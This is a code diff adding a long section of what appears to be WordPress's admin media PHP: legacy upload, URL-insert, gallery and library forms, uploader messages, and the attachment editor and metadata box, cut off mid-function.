+<?php submit_button( '', 'hidden', 'save', false ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<h3 class="media-title"><?php _e('Add media files from your computer'); ?></h3>
+
+<?php media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+	}
+	updateMediaForm();
+});
+</script>
+<div id="media-items"><?php
+
+if ( $id ) {
+	if ( !is_wp_error($id) ) {
+		add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+		echo get_media_items( $id, $errors );
+	} else {
+		echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div></div>';
+		exit;
+	}
+}
+?></div>
+
+<p class="savebutton ml-submit">
+<?php submit_button( __( 'Save all changes' ), '', 'save', false ); ?>
+</p>
+</form>
+<?php
+}
+
+/**
+ * Outputs the legacy media upload form for external media.
+ *
+ * @since 2.7.0
+ *
+ * @param string $type
+ * @param object $errors
+ * @param integer $id
+ */
+function media_upload_type_url_form($type = null, $errors = null, $id = null) {
+	if ( null === $type )
+		$type = 'image';
+
+	media_upload_header();
+
+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form type-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<h3 class="media-title"><?php _e('Insert media from another website'); ?></h3>
+
+<script type="text/javascript">
+var addExtImage = {
+
+	width : '',
+	height : '',
+	align : 'alignnone',
+
+	insert : function() {
+		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';
+
+		if ( '' == f.src.value || '' == t.width )
+			return false;
+
+		if ( f.alt.value )
+			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+
+<?php
+	/** This filter is documented in wp-admin/includes/media.php */
+	if ( ! apply_filters( 'disable_captions', '' ) ) {
+		?>
+		if ( f.caption.value ) {
+			caption = f.caption.value.replace(/\r\n|\r/g, '\n');
+			caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
+				return a.replace(/[\r\n\t]+/, ' ');
+			});
+
+			caption = caption.replace(/\s*\n\s*/g, '<br />');
+		}
+<?php } ?>
+
+		cls = caption ? '' : ' class="'+t.align+'"';
+
+		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';
+
+		if ( f.url.value ) {
+			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+			html = '<a href="'+url+'">'+html+'</a>';
+		}
+
+		if ( caption )
+			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';
+
+		var win = window.dialogArguments || opener || parent || top;
+		win.send_to_editor(html);
+		return false;
+	},
+
+	resetImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.height = '';
+		document.getElementById('go_button').style.color = '#bbb';
+		if ( ! document.forms[0].src.value )
+			document.getElementById('status_img').innerHTML = '';
+		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
+	},
+
+	updateImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.preloadImg.width;
+		t.height = t.preloadImg.height;
+		document.getElementById('go_button').style.color = '#333';
+		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
+	},
+
+	getImageData : function() {
+		if ( jQuery('table.describe').hasClass('not-image') )
+			return;
+
+		var t = addExtImage, src = document.forms[0].src.value;
+
+		if ( ! src ) {
+			t.resetImageData();
+			return false;
+		}
+
+		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" alt="" width="16" height="16" />';
+		t.preloadImg = new Image();
+		t.preloadImg.onload = t.updateImageData;
+		t.preloadImg.onerror = t.resetImageData;
+		t.preloadImg.src = src;
+	}
+};
+
+jQuery(document).ready( function($) {
+	$('.media-types input').click( function() {
+		$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
+	});
+});
+</script>
+
+<div id="media-items">
+<div class="media-item media-blank">
+<?php
+/**
+ * Filters the insert media from URL form HTML.
+ *
+ * @since 3.3.0
+ *
+ * @param string $form_html The insert from URL form HTML.
+ */
+echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );
+?>
+</div>
+</div>
+</form>
+<?php
+}
+
+/**
+ * Adds gallery form to upload iframe
+ *
+ * @since 2.5.0
+ *
+ * @global string $redir_tab
+ * @global string $type
+ * @global string $tab
+ *
+ * @param array $errors
+ */
+function media_upload_gallery_form($errors) {
+	global $redir_tab, $type;
+
+	$redir_tab = 'gallery';
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=gallery&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<script type="text/javascript">
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+</script>
+<div id="sort-buttons" class="hide-if-no-js">
+<span>
+<?php _e('All Tabs:'); ?>
+<a href="#" id="showall"><?php _e('Show'); ?></a>
+<a href="#" id="hideall" style="display:none;"><?php _e('Hide'); ?></a>
+</span>
+<?php _e('Sort Order:'); ?>
+<a href="#" id="asc"><?php _e('Ascending'); ?></a> |
+<a href="#" id="desc"><?php _e('Descending'); ?></a> |
+<a href="#" id="clear"><?php _ex('Clear', 'verb'); ?></a>
+</div>
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+<table class="widefat">
+<thead><tr>
+<th><?php _e('Media'); ?></th>
+<th class="order-head"><?php _e('Order'); ?></th>
+<th class="actions-head"><?php _e('Actions'); ?></th>
+</tr></thead>
+</table>
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items($post_id, $errors); ?>
+</div>
+
+<p class="ml-submit">
+<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false, array( 'id' => 'save-all', 'style' => 'display: none;' ) ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
+</p>
+
+<div id="gallery-settings" style="display:none;">
+<div class="title"><?php _e('Gallery Settings'); ?></div>
+<table id="basic" class="describe"><tbody>
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Link thumbnails to:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" name="linkto" id="linkto-file" value="file" />
+		<label for="linkto-file" class="radio"><?php _e('Image File'); ?></label>
+
+		<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
+		<label for="linkto-post" class="radio"><?php _e('Attachment Page'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order images by:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="orderby" name="orderby">
+			<option value="menu_order" selected="selected"><?php _e('Menu order'); ?></option>
+			<option value="title"><?php _e('Title'); ?></option>
+			<option value="post_date"><?php _e('Date/Time'); ?></option>
+			<option value="rand"><?php _e('Random'); ?></option>
+		</select>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
+		<label for="order-asc" class="radio"><?php _e('Ascending'); ?></label>
+
+		<input type="radio" name="order" id="order-desc" value="desc" />
+		<label for="order-desc" class="radio"><?php _e('Descending'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Gallery columns:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="columns" name="columns">
+			<option value="1">1</option>
+			<option value="2">2</option>
+			<option value="3" selected="selected">3</option>
+			<option value="4">4</option>
+			<option value="5">5</option>
+			<option value="6">6</option>
+			<option value="7">7</option>
+			<option value="8">8</option>
+			<option value="9">9</option>
+		</select>
+	</td>
+	</tr>
+</tbody></table>
+
+<p class="ml-submit">
+<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
+<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
+</p>
+</div>
+</form>
+<?php
+}
+
+/**
+ * Outputs the legacy media upload form for the media library.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb      $wpdb
+ * @global WP_Query  $wp_query
+ * @global WP_Locale $wp_locale
+ * @global string    $type
+ * @global string    $tab
+ * @global array     $post_mime_types
+ *
+ * @param array $errors
+ */
+function media_upload_library_form($errors) {
+	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
+
+	media_upload_header();
+
+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=library&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+
+	$q = $_GET;
+	$q['posts_per_page'] = 10;
+	$q['paged'] = isset( $q['paged'] ) ? intval( $q['paged'] ) : 0;
+	if ( $q['paged'] < 1 ) {
+		$q['paged'] = 1;
+	}
+	$q['offset'] = ( $q['paged'] - 1 ) * 10;
+	if ( $q['offset'] < 1 ) {
+		$q['offset'] = 0;
+	}
+
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );
+
+?>
+
+<form id="filter" method="get">
+<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
+<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
+<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />
+
+<p id="media-search" class="search-box">
+	<label class="screen-reader-text" for="media-search-input"><?php _e('Search Media');?>:</label>
+	<input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
+	<?php submit_button( __( 'Search Media' ), '', '', false ); ?>
+</p>
+
+<ul class="subsubsub">
+<?php
+$type_links = array();
+$_num_posts = (array) wp_count_attachments();
+$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
+foreach ( $matches as $_type => $reals )
+	foreach ( $reals as $real )
+		if ( isset($num_posts[$_type]) )
+			$num_posts[$_type] += $_num_posts[$real];
+		else
+			$num_posts[$_type] = $_num_posts[$real];
+// If available type specified by media button clicked, filter by that type
+if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) {
+	$_GET['post_mime_type'] = $type;
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
+}
+if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' )
+	$class = ' class="current"';
+else
+	$class = '';
+$type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type'=>'all', 'paged'=>false, 'm'=>false))) . '"' . $class . '>' . __('All Types') . '</a>';
+foreach ( $post_mime_types as $mime_type => $label ) {
+	$class = '';
+
+	if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
+		continue;
+
+	if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) )
+		$class = ' class="current"';
+
+	$type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type'=>$mime_type, 'paged'=>false))) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[$mime_type] ) . '</span>') . '</a>';
+}
+/**
+ * Filters the media upload mime type list items.
+ *
+ * Returned values should begin with an `<li>` tag.
+ *
+ * @since 3.1.0
+ *
+ * @param array $type_links An array of list items containing mime type link HTML.
+ */
+echo implode(' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
+unset($type_links);
+?>
+</ul>
+
+<div class="tablenav">
+
+<?php
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($wp_query->found_posts / 10),
+	'current' => $q['paged'],
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<?php
+
+$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";
+
+$arc_result = $wpdb->get_results( $arc_query );
+
+$month_count = count($arc_result);
+$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;
+
+if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
+<select name='m'>
+<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
+<?php
+foreach ($arc_result as $arc_row) {
+	if ( $arc_row->yyear == 0 )
+		continue;
+	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+
+	if ( $arc_row->yyear . $arc_row->mmonth == $selected_month )
+		$default = ' selected="selected"';
+	else
+		$default = '';
+
+	echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
+	echo esc_html( $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear" );
+	echo "</option>\n";
+}
+?>
+</select>
+<?php } ?>
+
+<?php submit_button( __( 'Filter &#187;' ), '', 'post-query-submit', false ); ?>
+
+</div>
+
+<br class="clear" />
+</div>
+</form>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
+
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+-->
+</script>
+
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items(null, $errors); ?>
+</div>
+<p class="ml-submit">
+<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+</p>
+</form>
+<?php
+}
+
+/**
+ * Creates the form for external url
+ *
+ * @since 2.7.0
+ *
+ * @param string $default_view
+ * @return string the form html
+ */
+function wp_media_insert_url_form( $default_view = 'image' ) {
+	/** This filter is documented in wp-admin/includes/media.php */
+	if ( ! apply_filters( 'disable_captions', '' ) ) {
+		$caption = '
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="caption"><span class="alignleft">' . __('Image Caption') . '</span></label>
+			</th>
+			<td class="field"><textarea id="caption" name="caption"></textarea></td>
+		</tr>
+';
+	} else {
+		$caption = '';
+	}
+
+	$default_align = get_option('image_default_align');
+	if ( empty($default_align) )
+		$default_align = 'none';
+
+	if ( 'image' == $default_view ) {
+		$view = 'image-only';
+		$table_class = '';
+	} else {
+		$view = $table_class = 'not-image';
+	}
+
+	return '
+	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
+	<p class="media-types media-types-required-info">' . sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) . '</p>
+	<table class="describe ' . $table_class . '"><tbody>
+		<tr>
+			<th scope="row" class="label" style="width:130px;">
+				<label for="src"><span class="alignleft">' . __( 'URL' ) . '</span> <span class="required">*</span></label>
+				<span class="alignright" id="status_img"></span>
+			</th>
+			<td class="field"><input id="src" name="src" value="" type="text" required aria-required="true" onblur="addExtImage.getImageData()" /></td>
+		</tr>
+
+		<tr>
+			<th scope="row" class="label">
+				<label for="title"><span class="alignleft">' . __( 'Title' ) . '</span> <span class="required">*</span></label>
+			</th>
+			<td class="field"><input id="title" name="title" value="" type="text" required aria-required="true" /></td>
+		</tr>
+
+		<tr class="not-image"><td></td><td><p class="help">' . __('Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;') . '</p></td></tr>
+
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="alt"><span class="alignleft">' . __('Alternative Text') . '</span></label>
+			</th>
+			<td class="field"><input id="alt" name="alt" value="" type="text" aria-required="true" />
+			<p class="help">' . __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;') . '</p></td>
+		</tr>
+		' . $caption . '
+		<tr class="align image-only">
+			<th scope="row" class="label"><p><label for="align">' . __('Alignment') . '</label></p></th>
+			<td class="field">
+				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'none' ? ' checked="checked"' : '').' />
+				<label for="align-none" class="align image-align-none-label">' . __('None') . '</label>
+				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'left' ? ' checked="checked"' : '').' />
+				<label for="align-left" class="align image-align-left-label">' . __('Left') . '</label>
+				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'center' ? ' checked="checked"' : '').' />
+				<label for="align-center" class="align image-align-center-label">' . __('Center') . '</label>
+				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'right' ? ' checked="checked"' : '').' />
+				<label for="align-right" class="align image-align-right-label">' . __('Right') . '</label>
+			</td>
+		</tr>
+
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="url"><span class="alignleft">' . __('Link Image To:') . '</span></label>
+			</th>
+			<td class="field"><input id="url" name="url" value="" type="text" /><br />
+
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __('None') . '</button>
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __('Link to image') . '</button>
+			<p class="help">' . __('Enter a link URL or click above for presets.') . '</p></td>
+		</tr>
+		<tr class="image-only">
+			<td></td>
+			<td>
+				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+		<tr class="not-image">
+			<td></td>
+			<td>
+				' . get_submit_button( __( 'Insert into Post' ), '', 'insertonlybutton', false ) . '
+			</td>
+		</tr>
+	</tbody></table>
+';
+
+}
+
+/**
+ * Displays the multi-file uploader message.
+ *
+ * @since 2.6.0
+ *
+ * @global int $post_ID
+ */
+function media_upload_flash_bypass() {
+	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );
+
+	if ( $post = get_post() )
+		$browser_uploader .= '&amp;post_id=' . intval( $post->ID );
+	elseif ( ! empty( $GLOBALS['post_ID'] ) )
+		$browser_uploader .= '&amp;post_id=' . intval( $GLOBALS['post_ID'] );
+
+	?>
+	<p class="upload-flash-bypass">
+	<?php printf( __( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" target="%2$s">browser uploader</a> instead.' ), $browser_uploader, '_blank' ); ?>
+	</p>
+	<?php
+}
+
+/**
+ * Displays the browser's built-in uploader message.
+ *
+ * @since 2.6.0
+ */
+function media_upload_html_bypass() {
+	?>
+	<p class="upload-html-bypass hide-if-no-js">
+	   <?php _e('You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.'); ?>
+	</p>
+	<?php
+}
+
+/**
+ * Used to display a "After a file has been uploaded..." help message.
+ *
+ * @since 3.3.0
+ */
+function media_upload_text_after() {}
+
+/**
+ * Displays the checkbox to scale images.
+ *
+ * @since 3.3.0
+ */
+function media_upload_max_image_resize() {
+	$checked = get_user_setting('upload_resize') ? ' checked="true"' : '';
+	$a = $end = '';
+
+	if ( current_user_can( 'manage_options' ) ) {
+		$a = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
+		$end = '</a>';
+	}
+?>
+<p class="hide-if-no-js"><label>
+<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
+<?php
+	/* translators: %1$s is link start tag, %2$s is link end tag, %3$d is width, %4$d is height*/
+	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );
+?>
+</label></p>
+<?php
+}
+
+/**
+ * Displays the out of storage quota message in Multisite.
+ *
+ * @since 3.5.0
+ */
+function multisite_over_quota_message() {
+	echo '<p>' . sprintf( __( 'Sorry, you have used all of your storage quota of %s MB.' ), get_space_allowed() ) . '</p>';
+}
+
+/**
+ * Displays the image and editor in the post editor
+ *
+ * @since 3.5.0
+ *
+ * @param WP_Post $post A post object.
+ */
+function edit_form_image_editor( $post ) {
+	$open = isset( $_GET['image-editor'] );
+	if ( $open )
+		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
+
+	$thumb_url = false;
+	if ( $attachment_id = intval( $post->ID ) )
+		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
+
+	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
+
+	$att_url = wp_get_attachment_url( $post->ID ); ?>
+	<div class="wp_attachment_holder wp-clearfix">
+	<?php
+	if ( wp_attachment_is_image( $post->ID ) ) :
+		$image_edit_button = '';
+		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
+			$nonce = wp_create_nonce( "image_editor-$post->ID" );
+			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
+		}
+	?>
+
+		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>
+
+		<div<?php if ( $open ) echo ' style="display:none"'; ?> class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
+			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
+			<p><?php echo $image_edit_button; ?></p>
+		</div>
+		<div<?php if ( ! $open ) echo ' style="display:none"'; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
+			<?php if ( $open ) wp_image_editor( $attachment_id ); ?>
+		</div>
+	<?php
+	elseif ( $attachment_id && wp_attachment_is( 'audio', $post ) ):
+
+		wp_maybe_generate_attachment_metadata( $post );
+
+		echo wp_audio_shortcode( array( 'src' => $att_url ) );
+
+	elseif ( $attachment_id && wp_attachment_is( 'video', $post ) ):
+
+		wp_maybe_generate_attachment_metadata( $post );
+
+		$meta = wp_get_attachment_metadata( $attachment_id );
+		$w = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
+		$h = ! empty( $meta['height'] ) ? $meta['height'] : 0;
+		if ( $h && $w < $meta['width'] ) {
+			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
+		}
+
+		$attr = array( 'src' => $att_url );
+		if ( ! empty( $w ) && ! empty( $h ) ) {
+			$attr['width'] = $w;
+			$attr['height'] = $h;
+		}
+
+		$thumb_id = get_post_thumbnail_id( $attachment_id );
+		if ( ! empty( $thumb_id ) ) {
+			$attr['poster'] = wp_get_attachment_url( $thumb_id );
+		}
+
+		echo wp_video_shortcode( $attr );
+
+	elseif ( isset( $thumb_url[0] ) ):
+
+		?>
+		<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
+			<p id="thumbnail-head-<?php echo $attachment_id; ?>">
+				<img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" />
+			</p>
+		</div>
+		<?php
+
+	else:
+
+		/**
+		 * Fires when an attachment type can't be rendered in the edit form.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Post $post A post object.
+		 */
+		do_action( 'wp_edit_form_attachment_display', $post );
+
+	endif; ?>
+	</div>
+	<div class="wp_attachment_details edit-form-section">
+		<p>
+			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
+			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
+		</p>
+
+
+	<?php if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) : ?>
+		<p>
+			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
+			<input type="text" class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" value="<?php echo esc_attr( $alt_text ); ?>" />
+		</p>
+	<?php endif; ?>
+
+	<?php
+		$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+		$editor_args = array(
+			'textarea_name' => 'content',
+			'textarea_rows' => 5,
+			'media_buttons' => false,
+			'tinymce' => false,
+			'quicktags' => $quicktags_settings,
+		);
+	?>
+
+	<label for="attachment_content"><strong><?php _e( 'Description' ); ?></strong><?php
+	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
+		echo ': ' . __( 'Displayed on attachment pages.' );
+	}
+
+	?>
+	</label>
+	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>
+
+	</div>
+	<?php
+	$extras = get_compat_media_markup( $post->ID );
+	echo $extras['item'];
+	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
+}
+
+/**
+ * Displays non-editable attachment metadata in the publish meta box.
+ *
+ * @since 3.5.0
+ */
+function attachment_submitbox_metadata() {
+	$post = get_post();
+
+	$file = get_attached_file( $post->ID );
+	$filename = esc_html( wp_basename( $file ) );
+
+	$media_dims = '';
+	$meta = wp_get_attachment_metadata( $post->ID );
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
+	/** This filter is documented in wp-admin/includes/media.php */
+	$media_dims = apply_filters( 'media_meta', $media_dims, $post );
+
+	$att_url = wp_get_attachment_url( $post->ID );
+?>
+	<div class="misc-pub-section misc-pub-attachment">
+		<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
+		<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" id="attachment_url" value="<?php echo esc_attr( $att_url ); ?>" />
+	</div>
+	<div class="misc-pub-section misc-pub-filename">
+		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
+	</div>
+	<div class="misc-pub-section misc-pub-filetype">
+		<?php _e( 'File type:' ); ?> <strong><?php
+			if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
+				echo esc_html( strtoupper( $matches[1] ) );
+				list( $mime_type ) = explode( '/', $post->post_mime_type );
+				if ( $mime_type !== 'image' && ! empty( $meta['mime_type'] ) ) {
+					if ( $meta['mime_type'] !== "$mime_type/" . strtolower( $matches[1] ) ) {
+						echo ' (' . $meta['mime_type'] . ')';
+					}
+				}
+			} else {
+				echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
+			}
+		?></strong>
+	</div>
+
+	<?php
+		$file_size = false;
+
+		if ( isset( $meta['filesize'] ) )
+			$file_size = $meta['filesize'];
+		elseif ( file_exists( $file ) )
+			$file_size = filesize( $file );
+
